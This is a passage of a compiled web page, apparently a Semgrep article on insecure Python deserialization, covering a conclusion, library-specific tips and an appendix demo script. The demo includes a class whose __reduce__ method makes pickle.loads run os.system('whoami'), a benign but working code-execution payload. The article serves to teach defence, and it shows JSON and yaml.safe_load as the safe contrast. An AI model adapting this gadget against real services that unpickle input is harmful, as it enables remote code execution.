for popular libraries:`}),`\n`,_jsxs(_components.ul,{children:[`\n`,_jsxs(_components.li,{children:[`In Django, never switch back to the deprecated `,_jsx(_components.code,{children:`PickleSerializer`}),` for sessions.`]}),`\n`,_jsxs(_components.li,{children:[`In NumPy, avoid setting `,_jsx(_components.code,{children:`allow_pickle=True`}),` when calling `,_jsx(_components.code,{children:`numpy.load`}),`.`]}),`\n`,_jsxs(_components.li,{children:[`In PyTorch, prefer using the `,_jsx(_components.code,{children:`weights_only=True`}),` flag when calling `,_jsx(_components.code,{children:`torch.load`}),` to prevent deserialization of arbitrary Python objects.`]}),`\n`]}),`\n`,_jsx(Heading,{level:`3`,id:`conclusion`,children:`Conclusion`}),`\n`,_jsxs(_components.p,{children:[`Insecure deserialization in Python is not just a theoretical concern; it is a practical risk that arises whenever untrusted data is passed to permissive deserialization libraries. The fundamental issue is that modules such as `,_jsx(_components.code,{children:`pickle`}),` are designed to execute code during deserialization, making them unsuitable for handling external input.`]}),`\n`,_jsxs(_components.p,{children:[`We have seen how serialization works in Python, why features like `,_jsx(_components.code,{children:`pickle`}),` introduce risks, how attackers exploit them through remote code execution, and how Semgrep can detect vulnerable patterns in your own projects. The path forward is clear: avoid unsafe libraries for untrusted data, choose safer alternatives like JSON or `,_jsx(_components.code,{children:`safe_load`}),` for YAML, and rely on automated scanning to catch mistakes early.`]}),`\n`,_jsxs(_components.p,{children:[`As the deprecation of Django’s `,_jsx(_components.code,{children:`PickleSerializer`}),` illustrates, the community has recognized the risks of insecure deserialization. By taking a disciplined approach to the libraries you use and by applying tools like Semgrep, you can ensure your Python applications remain resilient against this class of vulnerabilities.`]}),`\n`,_jsx(_components.p,{children:`For more guidance and practical rules, see the Semgrep documentation and consider scanning your codebase with our Pro rules. Identifying and fixing insecure deserialization today will save you from severe problems tomorrow.`}),`\n`,_jsx(Heading,{level:`2`,id:`appendix-python-demonstration`,children:`Appendix: Python demonstration`}),`\n`,_jsx(_components.p,{children:`Here’s a full Python file demonstrating what is mentioned in the article for further exploration. You can execute this safely, it has no dangerous side-effects.`}),`\n`,_jsx(CodeBlock,{filename:``,expandable:`true`,numberOfLines:`75`,language:`python`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light-default dark-plus`,style:{backgroundColor:`#ffffff`,\"--shiki-dark-bg\":`#0B0C0E`,color:`#1f2328`,\"--shiki-dark\":`#D4D4D4`},language:`python`,children:_jsxs(_components.code,{language:`python`,numberOfLines:`75`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`#!/usr/bin/env python3`})}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#DCDCAA`},children:`print`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`(`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:`\"=== Testing SASTool Pickle Serialization ===\"`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`)`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#C586C0`},children:`import`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:` pickle`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#C586C0`},children:`import`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:` base64`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#569CD6`},children:`class`}),_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#4EC9B0`},children:` SASTool`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`:`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#569CD6`},children:` def`}),_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#DCDCAA`},children:` __init__`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`(`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#9CDCFE`},children:`self`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`, `}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#9CDCFE`},children:`name`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`, `}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#9CDCFE`},children:`language`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`, `}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#9CDCFE`},children:`is_best`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`=`}),_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#569CD6`},children:`False`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`):`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#569CD6`},children:` self`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`.name `}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`=`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:` name`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#569CD6`},children:` self`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`.language `}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`=`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:` language `})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#569CD6`},children:` self`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`.is_best `}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`=`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:` is_best`})]}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:` `})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#569CD6`},children:` def`}),_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#DCDCAA`},children:` __repr__`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`(`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#9CDCFE`},children:`self`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`):`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#C586C0`},children:` return`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#569CD6`},children:` f`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:`\"SASTool(name='`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#569CD6`},children:`{`}),_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#569CD6`},children:`self`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`.name`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#569CD6`},children:`}`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:`', language='`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#569CD6`},children:`{`}),_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#569CD6`},children:`self`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`.language`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#569CD6`},children:`}`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:`', is_best=`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#569CD6`},children:`{`}),_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#569CD6`},children:`self`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`.is_best`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#569CD6`},children:`}`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:`)\"`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Create our favorite SAST tool`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`semgrep `}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`=`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:` SASTool(`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:`\"Semgrep\"`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`, `}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:`\"Multi-language\"`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`, `}),_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#9CDCFE`},children:`is_best`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`=`}),_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#569CD6`},children:`True`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`)`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#DCDCAA`},children:`print`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`(`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:`\"Original object:\"`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`, semgrep)`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Serialize with pickle`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`pickle_data `}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`=`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:` pickle.dumps(semgrep)`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#DCDCAA`},children:`print`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`(`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:`\"Pickle serialized (base64):\"`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`, base64.b64encode(pickle_data).decode())`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Deserialize `})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`restored_tool `}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`=`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:` pickle.loads(pickle_data)`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#DCDCAA`},children:`print`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`(`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:`\"Restored object:\"`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`, restored_tool)`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#DCDCAA`},children:`print`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`(`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:`\"`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D7BA7D`},children:`\\\\n`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:`=== Testing Malicious Payload (Safe Version) ===\"`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`)`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#C586C0`},children:`import`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:` os`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#569CD6`},children:`class`}),_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#4EC9B0`},children:` MaliciousSASTool`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`:`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#569CD6`},children:` def`}),_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#DCDCAA`},children:` __reduce__`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`(`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#9CDCFE`},children:`self`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`):`})]}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:` # This method is called during pickle serialization`})}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:` # Instead of restoring data, it executes a command`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#C586C0`},children:` return`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:` (os.system, (`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:`'whoami'`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`,))`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Create the malicious payload`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`malicious_tool `}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`=`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:` MaliciousSASTool()`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`malicious_pickle `}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`=`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:` pickle.dumps(malicious_tool)`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#DCDCAA`},children:`print`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`(`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:`\"Malicious payload (base64):\"`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`)`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#DCDCAA`},children:`print`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`(base64.b64encode(malicious_pickle).decode())`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#DCDCAA`},children:`print`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`(`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:`\"Demonstrating what happens when deserialized:\"`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`)`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`pickle.loads(malicious_pickle) `}),_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# This will execute 'whoami' and show your username`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#DCDCAA`},children:`print`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`(`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:`\"`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D7BA7D`},children:`\\\\n`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:`=== Testing Safe Alternatives ===\"`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`)`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#C586C0`},children:`import`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:` json`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#C586C0`},children:`import`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:` yaml`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#C586C0`},children:`from`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:` dataclasses `}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#C586C0`},children:`import`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:` dataclass, asdict`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#8250DF`,\"--shiki-dark\":`#DCDCAA`},children:`@dataclass`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#569CD6`},children:`class`}),_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#4EC9B0`},children:` SafeSASTool`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`:`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:` name: `}),_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#4EC9B0`},children:`str`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:` language: `}),_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#4EC9B0`},children:`str`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:` is_best: `}),_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#4EC9B0`},children:`bool`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:` =`}),_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#569CD6`},children:` False`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Create our tool`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`semgrep_safe `}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`=`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:` SafeSASTool(`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:`\"Semgrep\"`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`, `}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:`\"Multi-language\"`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`, `}),_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#569CD6`},children:`True`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`)`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#DCDCAA`},children:`print`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`(`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:`\"Original object:\"`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`, semgrep_safe)`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# JSON serialization - only handles basic data types`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`json_data `}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`=`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:` json.dumps(asdict(semgrep_safe))`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#DCDCAA`},children:`print`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`(`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:`\"`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D7BA7D`},children:`\\\\n`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:`JSON serialized:\"`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`, json_data)`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`restored_from_json `}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`=`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:` SafeSASTool(`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`**`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`json.loads(json_data))`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#DCDCAA`},children:`print`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`(`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:`\"JSON deserialized:\"`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`, restored_from_json)`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# YAML serialization - safe_load prevents code execution`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`yaml_data `}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`=`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:` yaml.dump(asdict(semgrep_safe))`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#DCDCAA`},children:`print`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`(`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:`\"`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D7BA7D`},children:`\\\\n`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:`YAML serialized:\"`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`)`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#DCDCAA`},children:`print`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`(yaml_data)`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`restored_from_yaml `}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`=`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:` SafeSASTool(`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`**`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`yaml.safe_load(yaml_data))`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#DCDCAA`},children:`print`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`(`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:`\"YAML deserialized:\"`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`, 